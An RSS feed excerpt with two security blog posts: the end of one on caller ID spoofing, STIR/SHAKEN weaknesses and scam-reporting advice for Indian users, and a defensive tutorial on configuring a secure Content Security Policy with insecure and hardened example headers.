<li>Class B - The service provider has verified that the call has originated from the customer but not that they are authorized to use it.</li>
<li>Class C - The service provider does not know the caller’s identity and the source of the call cannot be identified (maybe coming from an international gateway/outside their network).</li>
</ul>
</li>
</ul>
<h3 id="heading-how-stirshaken-identity-headers-are-received-by-end-users">How STIR/SHAKEN Identity headers are received by end users</h3>
<p><img src="https://sumirbroota.com/notes/images/invite1.png" alt="SIP Identity Header Example" />
<img src="https://sumirbroota.com/notes/images/invite2.png" alt="SIP Identity JWT Breakdown" /></p>
<ul>
<li>credit <a target="_blank" href="https://www.youtube.com/watch?v=4nBmGq8vyKA">SIP Identity Headers explained in a nice YT video</a></li>
</ul>
<h3 id="heading-issues-with-our-current-system">Issues with our current system</h3>
<ul>
<li>Most providers transmit data over clear text<ul>
<li>Despite the avaliability of TLS encryption with SRTP &amp; SIP-TLS, the lack of industry wide adoption poses a challenge. Anyone with knowledge of the system can capture the data</li>
</ul>
</li>
<li>Trust on User Defined Outbound Caller ID<ul>
<li>Though most SIP trunking providers have added protections in place, there are plenty of providers willing to skirt the regulation.</li>
</ul>
</li>
<li>Protection Mechanism in place doesn’t account for legacy systems in the route<ul>
<li>In case the call gets routed/forwarded through a legacy system, the data signed by the SIP trunk gets dropped</li>
</ul>
</li>
<li>SHAKEN/STIR is expensive to maintain<ul>
<li>SHAKEN/STIR is difficult to maintain, leaving power in the hands of major providers. Also 3rd party SIP trunk resellers can be held liable as service providers despite being dependent on larger providers for their signing method</li>
</ul>
</li>
<li>Doesn’t factor into the Global context well<ul>
<li>SHAKEN/STIR was originally made for US/Canada to be deployed in their own countries and was later modified to be more global.
Due to political relations between nations &amp; lack of accountability in enforcing these protections across countries it can be difficult to ratify as a standard</li>
</ul>
</li>
</ul>
<h2 id="heading-ways-to-protect-yourself">Ways To Protect Yourself</h2>
<ul>
<li><p>Report fraudulent calls</p>
<ul>
<li><p>For Indian Citizens:</p>
<ul>
<li><p>https://sancharsaathi.gov.in/sfc/</p>
</li>
<li><p>Report Incoming International Call With Indian Number (RICWIN)</p>
<ul>
<li>https://sancharsaathi.gov.in/InternationalCall/ReportIntCall.jsp</li>
<li>Alternatively you can report on 1963/1800110420</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
<li><p>Scammers often try to rush your decision making</p>
<ul>
<li>Before making any major decision based on a possibly fraudulent Call/SMS do the following:<ul>
<li>Take a deep breath and don't rush yourself</li>
<li>Ask probing questions that only the person you're connecting with would know</li>
<li>Connect/Communicate with your contact over another medium (email/physically meet)</li>
</ul>
</li>
</ul>
</li>
<li><p>Know that the Indian Government is taking steps to reduce these threats</p>
<ul>
<li>Quickest, simplest way TRAI &amp; telco's have stopped spoofed calls from overseas is to look at the phone numbers for each inbound call and to block them if they pretend to have a domestic origin.<ul>
<li><em>Note during my testing - it sometimes let the call through but set the caller id as a random number. This behaviour may vary from provider to provider</em></li>
</ul>
</li>
<li>Telecom Regulatory Authority of India (TRAI) issued recommendations on leveraging AI-based fraud detection systems to identify and prevent fraudulent activities, such as unauthorized usage of SIM cards, subscription fraud, and billing fraud.</li>
</ul>
</li>
<li><p>Raise Awareness of such issues amongst family &amp; friends</p>
<ul>
<li>The more people are aware, the less likely they are to fall for such scams</li>
</ul>
</li>
</ul>
<h3 id="heading-glossary">Glossary</h3>
<ul>
<li><h4 id="heading-voip">VoIP</h4>
<ul>
<li>is an acronym for Voice Over Internet Protocol, or in more common terms phone service over the Internet.</li>
</ul>
</li>
</ul>
<ul>
<li><h4 id="heading-private-branch-exchange-pbx">Private Branch Exchange (PBX)</h4>
<ul>
<li>It is a private telephone network that is used by an organisation to communicate internally and externally. PBX systems are used to route calls between internal extensions and the public telephone network.</li>
</ul>
</li>
<li><h4 id="heading-session-initiation-protocol-sip">Session Initiation Protocol (SIP)</h4>
<ul>
<li>The de facto standard for VoIP communication, used for initial authentication and negotiations(terminate, or modify) when making connections. (like metadata for comms). </li>
<li>SIP is an application layer protocol that uses UDP or TCP for traffic. By default, SIP uses UDP/TCP port 5060.</li>
</ul>
</li>
<li><h4 id="heading-sip-trunk">SIP Trunk</h4>
<ul>
<li>In order for people to make calls to your internal PBX network (and vice verse)- your network must have an actual exposed number - that is the job of SIP Trunk
It connects your PBX network to the Public Switched Telephone Network AKA PSTN</li>
</ul>
</li>
<li><h4 id="heading-stirshaken">STIR/SHAKEN</h4>
<ul>
<li>Caller ID authentication confirms the accuracy of the information. It is more difficult for attackers to spoof numbers with this additional degree of security.</li>
</ul>
</li>
</ul>
<h3 id="heading-references">References:</h3>
<ul>
<li>Setup basics playlist<ul>
<li><a target="_blank" href="https://youtube.com/playlist?list=PLBE9-x_Aa3zlC-lJNnaUg9h4H9dgzaIMp&amp;feature=shared">Louis Rossmann FreePBX Setup Playlist</a></li>
<li><a target="_blank" href="https://youtube.com/playlist?list=PL1fn6oC5ndU_umAhL9A_1zkC90hMPDPNO&amp;si=IOF_j7HibWoQ3mDX">FreePBX - Complete Setup Series by CrossTalk Solutions</a></li>
</ul>
</li>
<li><a target="_blank" href="https://www.rapid7.com/blog/post/2018/05/24/how-to-build-your-own-caller-id-spoofer-part-1/">Rapid 7 Blog on Build your own Caller ID Spoofer Part 1</a></li>
<li><a target="_blank" href="https://www.rapid7.com/blog/post/2018/07/12/how-to-build-your-own-caller-id-spoofer-part-2/">Rapid 7 Blog on Build your own Caller ID Spoofer Part 2</a></li>
<li><a target="_blank" href="https://blog.vpetkov.net/2011/07/10/spoofing-caller-id-on-the-fly-from-any-phone-for-legal-and-legitimate-purposes/">Spoof caller id on the fly from any phone for legal &amp; legitimate puposes</a></li>
<li><a target="_blank" href="https://packetstormsecurity.com/files/download/75471/warvox-1.0.0.pdf">warvox manual</a></li>
<li><a target="_blank" href="https://rift.stacktitan.com/cid-spoofing/">Caller ID spoofing</a></li>
<li><a target="_blank" href="https://www.voip-info.org/">VoIP Info</a></li>
<li><a target="_blank" href="https://shufflingbytes.com/posts/wardialing-finnish-freephones/">Wardialing Finnish Phones</a></li>
<li><a target="_blank" href="https://web.archive.org/web/20131210070307/http://warvox.org/started.html">Warvox</a></li>
<li><a target="_blank" href="https://www.youtube.com/watch?v=fukXUnLVCuE">PSTN - Public Switched Telephone Network by Sunny Classroom</a></li>
<li><a target="_blank" href="https://youtube.com/playlist?list=PLZXFdHJ4qzEjc9g_nEtPzJEu1hwNG1VyJ&amp;feature=shared">Everything SIP - Session Initiation Protocol by Get VoIP</a></li>
<li><a target="_blank" href="https://www.voip-info.org/sip/">SIP INDEPTH by VoIP Info</a></li>
<li><a target="_blank" href="https://en.wikipedia.org/wiki/Stream_Control_Transmission_Protocol">SCTP - Stream Control Transmission Protocol</a></li>
<li><a target="_blank" href="https://en.wikipedia.org/wiki/Signalling_System_No._7">SS7 - Signalling System No.7</a></li>
<li><a target="_blank" href="https://www.techtarget.com/searchnetworking/definition/Signaling-System-7">Interesting history of Signaling System</a></li>
<li><a target="_blank" href="https://www.youtube.com/watch?v=ycGPHG_ANrE">STIR/SHAKEN and the Death of the Small VoIP Carrier</a></li>
<li><a target="_blank" href="https://www.fcc.gov/call-authentication">Combating Spoofed Robocalls with Caller ID Authentication by US FCC</a></li>
<li><a target="_blank" href="https://www.youtube.com/watch?v=4nBmGq8vyKA">SHAKEN/STIR 2/3: SIP Headers, Identity PASSporT, and Call flow through carrier network</a></li>
<li><a target="_blank" href="https://book.hacktricks.xyz/network-services-pentesting/pentesting-voip/basic-voip-protocols/sip-session-initiation-protocol#sip-methods">SIP Pentesting - Hacktricks</a></li>
<li><a target="_blank" href="https://book.hacktricks.xyz/network-services-pentesting/pentesting-voip/basic-voip-protocols#signaling-protocols">Basic VoIP Protocols - Hacktricks</a></li>
<li><a target="_blank" href="https://commsrisk.com/global-stir-shaken-is-dead-what-comes-next/">Global STIR/SHAKEN Is Dead; What Comes Next?</a></li>
<li><a target="_blank" href="https://www.trai.gov.in/sites/default/files/CP_05082022.pdf">TRAI Consulation Paper on Leveraging AI for anomaly detection in telecom sector</a></li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Implementing a Secure Content Security Policy (CSP)]]></title><description><![CDATA[Skip to TLDR
Introduction
Content Security Policy (CSP) provides mechanisms for websites to restrict content that browsers will be allowed to load. It is the holy grail for client side web application security. A strong policy can provide monumental ...]]></description><link>https://breachforce.net/implementing-a-secure-content-security-policy-csp</link><guid isPermaLink="true">https://breachforce.net/implementing-a-secure-content-security-policy-csp</guid><category><![CDATA[CSP header]]></category><category><![CDATA[Content Security Policy header]]></category><category><![CDATA[Content Security Policy (CSP)]]></category><category><![CDATA[Secure Content Security Policy (CSP)]]></category><category><![CDATA[CSP heade]]></category><category><![CDATA[CSP header not set]]></category><category><![CDATA[Content Security Policy not set]]></category><category><![CDATA[Content Security Policy header not set]]></category><category><![CDATA[how-to]]></category><category><![CDATA[content security policy]]></category><category><![CDATA[csp]]></category><dc:creator><![CDATA[Sumir Broota]]></dc:creator><pubDate>Mon, 08 Jul 2024 04:30:43 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/jHcwBHPQjs8/upload/9f9ac1ad48e7e1aa54631949ba8b5bdc.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><a href="#tldr">Skip to <code>TLDR</code></a></p>
<h2 id="heading-introduction">Introduction</h2>
<p>Content Security Policy (CSP) provides mechanisms for websites to restrict content that browsers will be allowed to load. It is the holy grail for client side web application security. A strong policy can provide monumental protection against threats such as Cross Site Scripting (XSS), Cross-Origin Resource Sharing (CORS), Click-jacking, HTTP Downgrade attacks and much more. This is because a CSP header employs the hardened security framework of the modern browser, baking it into the end users' web application.</p>
<p><strong>However,</strong></p>
<p>the resilience of CSP headers are often compromised during web development due to numerous gaps introduced by developers to support certain libraries/inline scripts/quick integrations etc. Additionally if Content Security Policy (CSP) header is not implemented it can be a major red flag.</p>
<h2 id="heading-learning-from-common-mistakes">Learning from Common Mistakes:</h2>
<p>Example of an insecure Content Security Policy (CSP)</p>
<pre><code class="lang-yaml"><span class="hljs-attr">Content-Security-Policy:</span> <span class="hljs-string">default-src</span> <span class="hljs-string">'self’ &lt;source&gt; *;  
frame-src http://3rdparty.site &lt;source&gt;;  
script-src *.google.com:80 &lt;source&gt; cdn.js unsafe-inline unsafe-eval;</span>
</code></pre>
<p><a target="_blank" href="https://web.dev/csp/#policy-applies-to-a-wide-variety-of-resources">Not sure what frame-src or any other directives are ? - Click here</a></p>
<h2 id="heading-insecure-default-src"><code>Insecure default-src:</code></h2>
<p>This is the policy the browser must refer to in case there is no specific one mentioned i.e the default case. Here although the scope of the default-src mentions 'self' (allowing only one's own website as the scope), the presence of '*' directs the browser to accept sources from anywhere. The use of such a broad scope can be very dangerous.</p>
<h2 id="heading-lack-of-font-src-img-src-connect-src-media-src-amp-more"><code>Lack of font-src, img-src, connect-src, media-src &amp; more:</code></h2>
<p>These additional policies have not been mentioned hence default-src would be used. Making the job of tightening the security of default-src paramount. The above policies are used in case you wish to make an exception for a particular src such as img-src, but don’t want to weaken the security of the default/other configurations.</p>
<h2 id="heading-avoid-unsafe-evalunsafe-inline"><code>Avoid 'unsafe-eval'/'unsafe-inline':</code></h2>
<p>Using these in any directive is a HUGE risk and must be avoided. Just their mere presence introduces a vector for the execution of DOM based and inline XSS. Instead move the scripts into separate javascript files or use a <a target="_blank" href="https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html#hashes">nonce/hash value</a></p>
<h2 id="heading-defining-your"><code>Defining your &lt;source&gt;:</code></h2>
<h5 id="heading-1-define-strict-scope-even-for-reputed-first-party-sites">1. Define strict scope even for reputed first party sites</h5>
<ul>
<li>The use of *.google.com allows all of Google's <a target="_blank" href="https://gist.github.com/abuvanth/b9fcbaf7c77c2954f96c6e556138ffe8">1120+ subdomains</a> to be used as a script source. You may still think of it as not a threat, but just to refresh your memory: Anyone can build a website on sites.google.com and it would fulfill the above regex requirements.</li>
</ul>
<h5 id="heading-2-be-sure-about-adding-3rd-party-websites-to-your-csp">2. Be sure about adding 3rd party websites to your CSP</h5>
<ul>
<li>In case there is any vulnerability present in the 3rd party website, it could lead to an attack vector into your site as well.</li>
</ul>
<h5 id="heading-3-always-think-twice-when-adding-to-a-csp-regex">3. Always think twice when adding '*' to a CSP regex:</h5>
<ul>
<li>The sources used in CSP must be precisely defined. Eg if you're accepting a legitimate javascript file from a CDN such as cdn.js, your source should not be cdn.js/* . This is problematic as many public cdn’s allow users to host their own javascript libraries. So an attacker could take advantage of the lax regex and call cdn.js/their-malicious.js. <br /></li>
</ul>
<h2 id="heading-recommendation">Recommendation:</h2>
<p>If Content Security Policy (CSP) header is not set - implement it immediately. The Content Security Policy can be set either in the response header or in the html's meta tag, the prior being given a higher priority.</p>
<p>Example of a Secure Content Security Policy (CSP)</p>
<pre><code class="lang-yaml"><span class="hljs-attr">Content-Security-Policy:</span> <span class="hljs-string">default-src</span> <span class="hljs-string">'self’; 
frame-src '</span><span class="hljs-string">self';</span> 
<span class="hljs-string">script-src</span> <span class="hljs-string">'self'</span> <span class="hljs-string">https://cdn.jsdelivr.net/npm/@floating-ui/core@1.2.1;</span>
<span class="hljs-string">frame-ancestors</span> <span class="hljs-string">‘none’;</span>
<span class="hljs-string">report-to</span> <span class="hljs-string">csp-error;</span>
<span class="hljs-string">report-uri</span> <span class="hljs-string">https://sumirbroota.com/csp-violations</span>
<span class="hljs-string">upgrade-insecure-requests;</span>
</code></pre>
<h3 id="heading-frame-ancestors-none"><code>frame-ancestors ‘none’: </code></h3>
<p>This is a suitable setting in case one is not using an iframe in their sites functionality. frame-ancestors restricts the URLs that can embed the requested resource inside of <code>&lt;frame&gt;, &lt;iframe&gt;, &lt;object&gt;, &lt;embed&gt;, or &lt;applet&gt;</code> elements.</p>
<ul>
<li>If this directive is specified in a <code>&lt;meta&gt;</code> tag, the directive is ignored.</li>
<li>This directive doesn't fallback to default-src directive.</li>
<li>X-Frame-Options is rendered obsolete by this directive and is ignored by the user agents.</li>
</ul>
<h3 id="heading-upgrade-insecure-requests"><code>upgrade-insecure-requests: </code></h3>
<p>The following directive will ensure that all requests will be sent over HTTPS with no fallback to HTTP</p>
<h3 id="heading-report-to"><code> report-to: </code></h3>
<p>Reporting directives delivers violations of prevented behaviors to specified locations. To ensure backwards compatibility report-uri is also used.
Example Report-To header</p>
<pre><code class="lang-yaml"><span class="hljs-attr">Report-To:</span> {<span class="hljs-string">"group"</span><span class="hljs-string">:"csp-error"</span>,<span class="hljs-string">"max_age"</span><span class="hljs-string">:180000</span>,<span class="hljs-string">"endpoints"</span><span class="hljs-string">:</span>[{<span class="hljs-string">"url"</span><span class="hljs-string">:"https://sumirbroota.com/csp-violations"</span>}],<span class="hljs-string">"include_subdomains"</span><span class="hljs-string">:true</span>}
</code></pre>
<h2 id="heading-languageframework-specific-examples">Language/Framework Specific Examples:</h2>
<p>For Apache:</p>
<pre><code class="lang-yaml"><span class="hljs-string">Header</span> <span class="hljs-string">always</span> <span class="hljs-string">set</span> <span class="hljs-string">Content-Security-Policy</span> <span class="hljs-string">"default-src 'self';"</span>
</code></pre>
<p>in your /etc/apache2/sites-enabled/example.conf file. <br /><br />
For Nginx:</p>
<pre><code class="lang-yaml"><span class="hljs-attr">add_header Content-Security-Policy:</span> <span class="hljs-string">"default-src 'self’;"</span><span class="hljs-string">;</span> <span class="hljs-string">always;</span>
</code></pre>
<p>in your server {} block of the /etc/nginx/sites-enabled/example.conf file. Here the always; option specifies to send the CSP no matter the response code.</p>
<p>Use tools such as <a target="_blank" href="https://github.com/papandreou/seespee">SeeSPee</a> &amp; <a target="_blank" href="https://csp-evaluator.withgoogle.com/">Google CSP Evaluator</a> to create a Content-Security-Policy for a website based on the statically detectable relations. <em>Note you will still have to validate it yourself</em></p>
<hr />
<section id="tldr"></section>

<h2 id="heading-tldr"><code>TLDR</code></h2>
<blockquote>
<p>Content Security Policy (CSP) provides a mechanism to websites to restrict content that browsers will be allowed to load e.g. inline scripts, remote javascript files. CSP can be set either in the response header or in the html’s meta tag, the prior being given a higher priority.</p>
<blockquote>
<p>Recommendation: </p>
<ol>
<li>Be cautious of 3rd party urls &amp; using '*' in even in trusted urls, if a direct url can be used, it would be best.</li>
<li>Do not use 'unsafe-eval'/'unsafe-inline' instead use a <a target="_blank" href="https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html#hashes">nonce or a hash value</a>.</li>
<li>default-src directive defines the default policy for fetching resources hence make sure it is airtight.</li>
<li>Use other source directives if you wish to make an exception for a specific one but don't want to weaken the security of the other/default directives</li>
<li>Avoid using the 'data' scheme as it can be used as a vector for XSS.</li>
</ol>
</blockquote>
</blockquote>
<h2 id="heading-references">References:</h2>
<ol>
<li>https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP</li>
<li>https://www.invicti.com/web-vulnerability-scanner/vulnerabilities/content-security-policy-csp-not-implemented/</li>
<li>https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html</li>
<li>https://content-security-policy.com/examples/nginx/</li>
<li>https://webdock.io/en/docs/how-guides/security-guides/how-to-configure-security-headers-in-nginx-and-apache</li>
</ol>
]]></content:encoded></item></channel></rss>